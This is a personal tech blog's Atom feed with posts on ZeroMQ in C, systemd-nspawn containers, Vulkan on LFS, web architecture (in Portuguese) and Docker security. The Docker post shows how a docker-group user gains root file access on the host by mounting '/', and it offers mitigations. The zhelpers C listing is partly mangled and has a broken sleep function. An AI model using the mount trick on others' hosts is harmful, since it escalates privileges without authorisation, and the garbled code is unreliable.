<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-527784892055465211</id><updated>2024-08-31T10:16:25.541-03:00</updated><category term="bash sqlplus csv export"/><title type='text'>Glaudiston Blog</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default?redirect=false'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default?start-index=26&amp;max-results=25&amp;redirect=false'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>68</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-6122076800639036024</id><published>2019-05-20T14:07:00.002-03:00</published><updated>2019-05-20T14:07:47.166-03:00</updated><title type='text'>Screencast tools for linux</title><content type='html'>For screen draw: &lt;br /&gt;
gnome add-on &quot;Draw on Your Screen&quot;:&lt;br /&gt;
&amp;nbsp; https://www.omgubuntu.co.uk/2019/03/draw-on-your-screen-ubuntu-linux&lt;br /&gt;
&lt;br /&gt;
For for keyboard and mouse actions:&lt;br /&gt;
key-mon:&lt;br /&gt;
&amp;nbsp; https://www.youtube.com/watch?v=raw0OtUej6k&lt;br /&gt;
&lt;br /&gt;
For screen and audio record:&lt;br /&gt;
&amp;nbsp; vokoscreen: https://www.youtube.com/watch?v=__zZnv8-Keg</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/6122076800639036024/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/6122076800639036024' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6122076800639036024'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/6122076800639036024'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2019/05/screencast-tools-for-linux.html' title='Screencast tools for linux'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-8615524305924942004</id><published>2017-08-02T07:57:00.002-03:00</published><updated>2017-08-02T07:57:38.284-03:00</updated><title type='text'>ZMQ - ZeroMQ as a http server</title><content type='html'>If you don&#39;t know ZMQ, you really should.

take a look:
&lt;a href=&quot;http://zguide.zeromq.org/page:all&quot;&gt;http://zguide.zeromq.org/page:all&amp;nbsp;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
And yes, it is all that!&lt;br /&gt;
&lt;br /&gt;
You can use any language to use it.&lt;br /&gt;
&lt;br /&gt;
But for me let&#39;s stay fast and use C.&lt;br /&gt;
&lt;br /&gt;
You know, just download, build and install like any autotools compliant tool.&lt;br /&gt;
&lt;br /&gt;
For message queue there are a plenty of samples in manual. Then I will not talk about it. But in our web world, we need something to listen HTTP then it allow us to elaborate something like a sync/assync gateway that convert synchronous http request in assynchronous distributed by MQ tasks.&lt;br /&gt;
&lt;br /&gt;
This seems to be complex, but not in ZMQ.&lt;br /&gt;
&lt;br /&gt;
I very busy these days, so just a bit of code for now:&lt;br /&gt;
&amp;nbsp;
&lt;br /&gt;
&lt;pre&gt;// Minimal HTTP server in 0MQ
#include &quot;zhelpers.h&quot;

int main (void)
{
        int rc;

        // Set-up our context and sockets
        void *ctx = zmq_ctx_new ();
        assert (ctx);

        // Start our server listening
        void *server = zmq_socket (ctx, ZMQ_STREAM);
        zmq_bind (server, &quot;tcp://*:8080&quot;);
        assert (server);
        uint8_t id[256];
        size_t id_size = 256;

        while (1)
        {
                // Get HTTP request;
                // first frame has ID, the next the request.
                id_size = zmq_recv (server, id, 256, 0);
                assert (id_size &amp;gt; 0);

                // Get HTTP request
                char *request = s_recv (server);
                puts (request); // Professional Logging(TM)
                free (request); // We throw this away

                // define the response
                char http_response [] =
                        &quot;HTTP/1.0 200 OK\n&quot;
                        &quot;Content-Type: text/html\n&quot;
                        &quot;\n&quot;
                        &quot;&lt;html&gt;&lt;body&gt;Hello, World!&lt;/body&gt;&lt;/html&gt;\n&quot;;

                // start sending response
                rc = zmq_send (server, id, id_size, ZMQ_SNDMORE);
                assert (rc != -1);
                // Send the http response
                rc = zmq_send ( server, 
                         http_response,
                         sizeof (http_response),
                         ZMQ_SNDMORE
                        );
                assert (rc != -1);

                // Send a zero to close connection to client
                rc = zmq_send(server, id, id_size, ZMQ_SNDMORE);
                assert (rc != -1);
                rc = zmq_send(server, NULL, 0, ZMQ_SNDMORE);
                assert (rc != -1);
        }

        rc = zmq_close (server);
        assert (rc == 0);

        rc = zmq_ctx_term (ctx);
        assert (rc == 0);

        return 0;
}

&lt;/pre&gt;
save this block as httpserver.c and build it with 
&lt;br /&gt;
&lt;pre&gt;gcc -o httpserver httpserver.c -lzmq&lt;/pre&gt;
run it and see open &lt;a href=&quot;http://localhost:8080/&quot;&gt;http://localhost:8080&lt;/a&gt;... just see the magic happening.&lt;br /&gt;
&lt;br /&gt;
Oh... the &quot;zhelpers.h&quot; are in sources, but you can get it here to&lt;br /&gt;
&lt;pre&gt;#include &lt;zmq .h=&quot;&quot;&gt;
#include &lt;stdlib .h=&quot;&quot;&gt;
#include &lt;assert .h=&quot;&quot;&gt;
#include &lt;time .h=&quot;&quot;&gt;
#include &lt;string .h=&quot;&quot;&gt;
#include &lt;sys time.h=&quot;&quot;&gt;
&lt;zmq .h=&quot;&quot;&gt;&lt;stdlib .h=&quot;&quot;&gt;&lt;assert .h=&quot;&quot;&gt;&lt;time .h=&quot;&quot;&gt;&lt;string .h=&quot;&quot;&gt;&lt;sys time.h=&quot;&quot;&gt;


// Generate a random number from 0..(num-1)
#define randof(num)     (int) ((float) (num) * random() / (RAND_MAX + 1.0))

// Convert C string to 0MQ string and send to socket
static int s_send (void *socket, char *string)
{
        int size = zmq_send(socket, string, strlen(string), 0 );
        return size;
}

// Receive 0MQ string from socket
//
// WARNING:
//      Remember that the strdup family of functions use malloc/alloc for
//      the new string. It must be manually freed when you are done with it.
//      Failure to do so will allow a heap attack.
static char * s_recv(void *socket)
{
        char buffer[256];
        int size = zmq_recv(socket,buffer, 255,0);
        if ( size == -1 )
                return NULL;
        buffer[size] = &#39;\0&#39;;
        return strndup(buffer,sizeof(buffer)-1);
}

// Sleep for a number of milliseconds
static void s_sleep(int msecs)
{
        struct timespec t;
        t.tv_sec = msecs / 1000;
        t.tv_nsec = (msecs % 1000 ) * nanosleep(&amp;amp;t, NULL);
}
//  Return current system clock as milliseconds
static int64_t
s_clock (void)
{
        struct timeval tv;
        gettimeofday (&amp;amp;tv, NULL);
        return (int64_t) (tv.tv_sec * 1000 + tv.tv_usec / 1000);
}

&lt;/sys&gt;&lt;/string&gt;&lt;/time&gt;&lt;/assert&gt;&lt;/stdlib&gt;&lt;/zmq&gt;&lt;/sys&gt;&lt;/string&gt;&lt;/time&gt;&lt;/assert&gt;&lt;/stdlib&gt;&lt;/zmq&gt;&lt;/pre&gt;
&lt;br /&gt;
Read the docs. </content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/8615524305924942004/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/8615524305924942004' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/8615524305924942004'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/8615524305924942004'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2017/08/zmq-zeromq-as-http-server.html' title='ZMQ - ZeroMQ as a http server'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-5640829928483434146</id><published>2017-07-16T20:20:00.000-03:00</published><updated>2017-07-16T20:24:52.818-03:00</updated><title type='text'>Running a smallest container using systemd</title><content type='html'>To run containers, you don&#39;t need docker. You just need linux kernel, and some tools to control kernel resources. Docker is a nice way to use container, but not the only one.&lt;br /&gt;
&lt;br /&gt;
SystemD does the job. So if you have it will can run containers without docker as requirement. Since today systemd is the most used init system in linux world, it is a relevant fact.&lt;br /&gt;
&lt;br /&gt;
In this post I will show you how to create a systemd container from scratch.&lt;br /&gt;
&lt;br /&gt;
First all you need a empty directory where you will create a root file strucutre to be used inside the container. In this example I will run bash.&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;bash&quot;&gt;
mkdir lib
cp /bin/bash bin/
cp /lib/ld-2.25.90.so lib
cp /lib/lic.so.6 lib
cp /lib/lidl.so.2 lib
cp /lib/libncursesw.so.6 lib
sudo systemd-nspawn --machine mycontainer --directory $PWD /lib/ld-2.25.90.so /bin/bash
&lt;/pre&gt;
&lt;br /&gt;
Of course you can do the same with other binaries too. Eg. If you want to know what dependencies does &quot;go&quot; have, just run:&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;bash&quot;&gt;/lib/ld-2.25.90.so --list /usr/bin/go
linux-vdso.so.1 (0x00007fffb84c6000)
libpthread.so.0 =&amp;gt; /lib/libpthread.so.0 (0x00007f99059bd000)
libc.so.6 =&amp;gt; /lib/libc.so.6 (0x00007f9905618000)
/lib64/ld-linux-x86-64.so.2 =&amp;gt; /lib/ld-2.25.90.so (0x0000563342c82000)
&lt;/pre&gt;
&lt;br /&gt;
Then to run &quot;go&quot; you just need ld-linux.so and libpthread.so&lt;br /&gt;
&lt;br /&gt;
If you want to create a docker image, you can refer to: &lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://glaudiston.blogspot.com.br/2015/06/how-to-make-very-very-small-docker.html&quot;&gt;http://glaudiston.blogspot.com.br/2015/06/how-to-make-very-very-small-docker.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/5640829928483434146/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/5640829928483434146' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5640829928483434146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/5640829928483434146'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2017/07/running-smallest-container-using-systemd.html' title='Running a smallest container using systemd'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-4401244777318269857</id><published>2017-04-03T19:49:00.001-03:00</published><updated>2017-04-03T19:49:21.597-03:00</updated><title type='text'>Vulkan on LFS using intel i915</title><content type='html'>Vulkan comes in mesa. You need to build mesa with vulkan support for your video driver.&lt;br /&gt;&lt;br /&gt;You need vulkan sdk:&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
wget https://vulkan.lunarg.com/sdk/home#sdk/downloadConfirm/1.0.42.2/linux/vulkansdk-linux-x86_64-1.0.42.2.run&lt;/blockquote&gt;
&lt;br /&gt;To run vulkan sdk samples, you need DRI3 enabled.&lt;br /&gt;
&lt;br /&gt;- To test if you have dri3 enabled, you can use:&lt;br /&gt;
&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
$ cat /var/log/Xorg.0.log | grep DRI3&lt;br /&gt;[&amp;nbsp;&amp;nbsp; 939.805] (II) intel(0): direct rendering: DRI2 DRI3 enabled&lt;/blockquote&gt;
&lt;br /&gt;If you don&#39;t have it, you need build mesa, dri3proto, xf86-video-intel and xserver.&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url = git://anongit.freedesktop.org/mesa/mesa.git&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url = git://anongit.freedesktop.org/xorg/proto/dri3proto&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url = git://anongit.freedesktop.org/xorg/driver/xf86-video-intel&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; url = git://anongit.freedesktop.org/xorg/xserver&lt;/blockquote&gt;
&lt;br /&gt;- mesa build with dri3 and vulkan drivers&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
&amp;nbsp;
 $ ./configure CFLAGS=-O2 CXXFLAGS=-O2 --prefix=/usr --sysconfdir=/etc 
--enable-texture-float --enable-opengl --enable-gles1 --enable-gles2 
--enable-dri --enable-dri3 --enable-glx=dri --enable-nine 
--enable-openvg --enable-osmesa --enable-xa --enable-gbm 
--enable-gallium-egl --enable-gallium-gbm --enable-glx-tls 
--with-egl-platforms=drm,x11 --with-gallium-drivers=i915,swrast 
--enable-llvm-shared-libs --with-vulkan-drivers=intel 
--with-dri-drivers=i915,i965 &lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;PS: I&#39;m not sure but think you may need copy ...mesa/include/vulcan/* /usr/include/vulkan&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;- xf86-video-intel &lt;/div&gt;
&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
&amp;nbsp; $ ./configure --prefix=/usr --enable-dri3 --disable-dga&lt;/blockquote&gt;
&lt;br /&gt;dri3proto&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
&amp;nbsp; $ ./configure --prefix=/usr&lt;/blockquote&gt;
&lt;br /&gt;- xserver&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
&amp;nbsp; $ ./configure --prefix=/usr --enable-dri3 
&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;br /&gt;And you need configure Xorg to use DRI 3:&lt;br /&gt;&lt;blockquote class=&quot;gmail_quote&quot; style=&quot;border-left: 1px solid rgb(204, 204, 204); margin: 0px 0px 0px 0.8ex; padding-left: 1ex;&quot;&gt;
$ cat /etc/Xorg/xorg.conf.d/20-intel.conf &lt;br /&gt;Section &quot;Device&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Identifier &quot;Intel Graphics&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Driver&amp;nbsp; &quot;intel&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Option&amp;nbsp; &quot;DRI&quot;&amp;nbsp;&amp;nbsp; &quot;3&quot;&lt;br /&gt;EndSection&lt;/blockquote&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
After it you may be able to start X with DRI3 support and use Vulkan samples.&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/4401244777318269857/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/4401244777318269857' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4401244777318269857'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4401244777318269857'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2017/04/vulkan-on-lfs-using-intel-i915.html' title='Vulkan on LFS using intel i915'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-475982920836345799</id><published>2016-11-12T00:40:00.002-02:00</published><updated>2016-11-12T00:43:03.953-02:00</updated><title type='text'>LFS, here we go, again.</title><content type='html'>About a year ago I got a new notebook from my work. It comes with ubuntu, so I did keep to build a LFS later, and never did it.

Yesterday the unity window manager broked, I tought it would be a bug in ubuntu, so i started the icewm and ignored it to face later, but today my notebook died, nothing left, my ssd is not readable anymore some nice unstable code is gone.

... 

time to build another LFS... 

Really.</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/475982920836345799/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/475982920836345799' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/475982920836345799'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/475982920836345799'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2016/11/lfs-here-we-go-again.html' title='LFS, here we go, again.'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-4490322898546057289</id><published>2016-02-10T12:08:00.002-02:00</published><updated>2016-02-10T12:08:44.295-02:00</updated><title type='text'>Minha Estrutura Web Ideal</title><content type='html'>&lt;p&gt;
Inicialmente pensei em intitular como &quot;Estrutura Web Perfeita&quot;, mas acho que perfeição é um termo muito utópico para este contexto.
Este é um assunto longo. Existem milhares de tutoriais na internet, e conseguir informação hoje, é como beber água de um hidrante. Tentarei modularizar o assunto, falando de uma estrutura macro aqui, e posteriormente entrando em detalhes de cada módulo.
&lt;/p&gt;
&lt;p&gt;
Após quase 20 anos de desenvolvimento, eu já trabalhei com sistemas estruturados das mais diversas maneiras, e já criei meus próprios sistemas(muitos). O legal disto é você ter a experiência falando a seu favor, e na maioria das vezes o que eu percebo é que o mercado não usa o que é o melhor, mas o que está mais rentável ( para quem ? ).
&lt;/p&gt;
&lt;p&gt;
Muitas vezes um fornecedor de um produto convence um cliente que o produto é bom (mesmo que não seja) e o cliente compra o produto, paga caro, e exige que isto seja usado, mesmo não sendo a melhor (ou sequer uma boa) opção.
&lt;/p&gt;
&lt;p&gt;
Desenvolvedores são criados/educados nestes cenários, e passam pelo treinamento destes fornecedores, que fazer uma espécie de &quot;lavagem cerebral&quot;, ensinando centenas de &quot;padrões&quot; e &quot;boas práticas&quot;.
&lt;/p&gt;
&lt;p&gt;
Em minha opinião, o melhor seria um sistema totalmente desacoplado, onde não importa qual a tecnologia dos outros módulos. Quem trabalha com terminais de linha de comando, sabe que funciona muito bem a transparência tecnológica neste contexto. Não importa qual tecnologia utilizada, eu tenho um protocolo para chamar um comando e uma resposta padrão. Eu tenho stdin, stdout e stderr sempre... Eu tenho código de retorno para me informar do sucesso ou não do comando... Pipes, etc.
&lt;/p&gt;
&lt;p&gt;
Pesquisando para este artigo, encontrei uma boa referência deste conceito:
&lt;a href=&quot;https://staticapps.org/articles/why-build-static-apps/&quot;&gt;https://staticapps.org/articles/why-build-static-apps/&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
Seria algo como:
&lt;ul&gt;
&lt;li&gt;
&lt;b&gt;webapp&lt;/b&gt; - Modulo Web Estático, renderizado do lado do cliente(browser) com o uso de javascript/css, com o único controle do lado do servidor sendo o acesso de recursos restritos a &lt;a href=&quot;https://staticapps.org/articles/authentication-and-authorization/&quot;&gt;autenticação válida&lt;/a&gt;. Todo acesso a informações para geração dinâmica de conteúdo, deveria ser requerido via requisições Ajax(XHR) REST ao módulo webapp-api. Pode ser considerado 3 tipos de comunicação: REST, WebSockets e &quot;Push Notifications&quot;. Nenhuma outra interface além da webapp-api deve ser chamada.
&lt;/li&gt;
&lt;li&gt;
&lt;b&gt;webapp-api&lt;/b&gt; - Modulo Rest para prover dados ao módulo webapp. Usando principalmente comunicações REST(JSON) permitindo um desacoplamento total e independência de plataforma usada no servidor, também pode prover Push Notifications e WebSockets. Sempre stateless (independente de sessão), recebendo token de autenticação sempre que necessário, usando SSL. Este módulo deverá ter acesso a um outro componente centralizador de informações se sessão session-api para permitir escalabilidade, e ao componente de acesso aos dados, data-module.
&lt;/li&gt;
&lt;li&gt;
&lt;b&gt;session-api&lt;/b&gt; - Tratar sessão é um problema complicado em escalabilidade, recomendo tópicos em mensageria (MQ), por exemplo o &lt;a href=&quot;http://activemq.apache.org/&quot;&gt;Apache ActiveMQ: (http://activemq.apache.org/)&lt;/a&gt;. Desta forma, você poderá ter redundância em seu controle de sessão, garantindo uma melhor escalabilidade.
&lt;/li&gt;
&lt;li&gt;
&lt;b&gt;data-module&lt;/b&gt; - Para escalabilidade, aqui costuma ser o maior gargalo, normalmente não queremos overhead no gerenciamento de dados. Mas mesmo aqui, penso que mensageria deveria ser considerada como uma opção válida da mesma forma que no componente session-api. Tenho experiência onde a camada de dados foi substituída com sucesso por mensageria, antendendo picos de transações superiores a 800tps. Isto já é muito, mas além disto, esta estrutura facilita ações para ampliar este poder de processamento distribuído.
&lt;/li&gt;
&lt;/ul&gt;
Esta separação permite substituir qualquer camada por mocks para criação e execução testes unitários, de performance, escalabilidade, penetração, segurança, ou qualquer outro tipo de teste imaginável em cada camada. Também modulariza o sistema de maneira que times separados possam trabalhar de maneira independente, com o menor impacto e conflito possível, apenas dependendo de um bom alinhamento do contrato de cada interface.

Outra vantagem seria a possibilidade de reuso da API para outras interfaces, como por exemplo aplicação mobile, utilitários de linha de comando, ou integração com ferramentas de terceiros.
&lt;/p&gt;
&lt;h2&gt;webapp&lt;/h2&gt;
&lt;p&gt;
O browser deve receber um conteúdo estruturalmente estático, que será dinamicamente gerado pelo javascript, baseado em informações providas pelo servidor. Sim, eu sei que em dispositivos móveis antigos, o melhor pode ser entregar o conteúdo pré-renderizado, gerado dinamicamente no servidor, mas falarei minha sugestão sobre isto mais tarde.
&lt;/p&gt;
&lt;p&gt;
Independente de ser conteúdo estático no servidor, continua existindo a necessidade de restringir acesso a alguns recursos, e isto requer uma interface de servidor, como um servlet, um CGI(sim o bom e velho CGI), um AuthenticationFilter ou qualquer outra interface que garanta que o usuário só acesse o conteúdo quando estiver em um contexto autenticado e atualmente válido. Isto, infelizmente, impede que seja usado um simples servidor web estático.
&lt;/p&gt;
&lt;p&gt;
Todos sabemos que o javascript é poderoso o suficiente para renderizar qualquer coisa no cliente, e se no passado o processamento no lado do cliente era um problema, não é mais verdade atualmente. Bem em alguns dispositivos móveis ainda pode ser, mas em pouco tempo não será mais.
&lt;/p&gt;
&lt;p&gt;
Normalmente, se você está tendo problemas de performance na renderização ou manipulação de objetos, você tem algo que precisa ser refatorado.
&lt;/p&gt;
&lt;p&gt;
O front-end, deve ser tratado de forma componentizada, permitindo, via javascript, a reutilização de códigos. O W3C já possui drafts para &lt;a href=&quot;https://www.w3.org/standards/techs/components#w3c_all&quot;&gt;componentização&lt;/a&gt;, mas atualmente a forma mais efetiva continua sendo no formato de plugins, muito utilizado pelo jQuery. Não digo usar o jQuery em si, mas o conceito é ótimo.
&lt;/p&gt;
&lt;p&gt;
Sempre que me perguntam minha opinião sobre geração de html dinâmico do lado do servidor, como jstl, struts, ou algo do tipo, minha resposta é: &lt;b&gt;lixo tecnológico&lt;/b&gt;. Durante a evolução tecnológica, surgem vertentes para todos os lados, mas muitas são desnecessárias e são continuadas e/ou defendidas, porque os envolvidos com estas vertentes não querem admitir que escolheram o caminho errado e já investiram muitos recursos com o aprendizado e aplicação delas. No fim, são tecnologias defendidas com interesses secundários que não a melhor qualidade da aplicação.
Acho importante ressaltar que eu já trabalhei com estas tecnologias muito e por muitos anos.
&lt;/p&gt;
&lt;h2&gt;webapp-api, session-api, data-module&lt;/h2&gt;
Acho mesmo que preciso separar estes tópicos em outros posts.
&lt;p&gt;
Existem tantas coisas novas no mundo do desenvolvimento de software, mas a verdade que muitos desprezam é que existem coisas que não precisam ser melhoradas. Assim como no mundo real, existem coisas que não precisam ser melhoradas. Não disse que não podem ser melhoradas, disse que não precisam.
&lt;/p&gt;
&lt;p&gt;
Existe uma infinidade de sub tópicos a serem tratados em cada um destes módulos, se eu for levantar aqui não terminarei este artigo.
&lt;/p&gt;
&lt;p&gt;
Como sempre, comentários são bem vindos.
&lt;/p&gt;
</content><link rel='replies' type='application/atom+xml' href='http://glaudiston.blogspot.com/feeds/4490322898546057289/comments/default' title='Postar comentários'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/527784892055465211/4490322898546057289' title='0 Comentários'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4490322898546057289'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/527784892055465211/posts/default/4490322898546057289'/><link rel='alternate' type='text/html' href='http://glaudiston.blogspot.com/2016/02/minha-estrutura-web-ideal.html' title='Minha Estrutura Web Ideal'/><author><name>Glaudiston</name><uri>http://www.blogger.com/profile/03591084064496857782</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-527784892055465211.post-6371319408907493955</id><published>2015-07-07T10:52:00.000-03:00</published><updated>2015-07-07T10:52:23.567-03:00</updated><title type='text'>Docker security - Not so perfect as it seems...</title><content type='html'>&lt;p&gt;I&#39;m really like docker. It solves the dependency problem in a really nice way, but it adds some ways to break linux security. I think a system is more secure without a docker running as root. But there are ways to control this vulnerabilities, and the great deploy mechanism would be used in production environments.&lt;/p&gt;
&lt;p&gt;What is the point ?&lt;/p&gt;
&lt;p&gt;Docker daemon run as root. The containers itself runs by docker daemon, so even if you run in a user in docker group, it run as root too. Don&#39;t believe me ? try it:&lt;/p&gt;
&lt;pre class=&quot;brush: bash&quot;&gt;
glaudiston:~$ docker run -ti -v /:/tmp ubuntu:14.04 touch /tmp/dockertest
glaudiston:~$ ls /dockertest -l
-rw-r--r-- 1 root root 0 Jun 27 08:50 /dockertest
glaudiston:~$ docker run -ti -v /:/tmp ubuntu:14.04 rm /tmp/dockertest
glaudiston:~$ ls /dockertest -l
ls: cannot access /dockertest: No such file or directory
&lt;/pre&gt;
&lt;p&gt;And more, with docker you can set files to run with setuid permissions, those files can give you root premissions. Look at:&lt;/p&gt;
&lt;a href=&quot;http://reventlov.com/advisories/using-the-docker-command-to-root-the-host&quot;&gt;http://reventlov.com/advisories/using-the-docker-command-to-root-the-host&lt;/a&gt;
&lt;p&gt;While this can be sufficient to worry too many security guys, there is ways to prevent this disaster.&lt;/p&gt;
&lt;p&gt;If you want to prevent your docker user to get host root access, the first thing is to know, that &lt;b&gt;DOCKER IS NOT A SECURITY SANDBOX.&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;I Did not recommend you to run a untrusted process as root inside a docker container.&lt;/p&gt;
&lt;p&gt;If you want to give root to your docker user, you need to ensure that he will not have any way to send files to host, avoiding virtual shares ( -v ) with the hosts file system is main way. Of course this means that your docker user can not run &quot;docker run&quot; command, so you need to manage this.&lt;/p&gt;
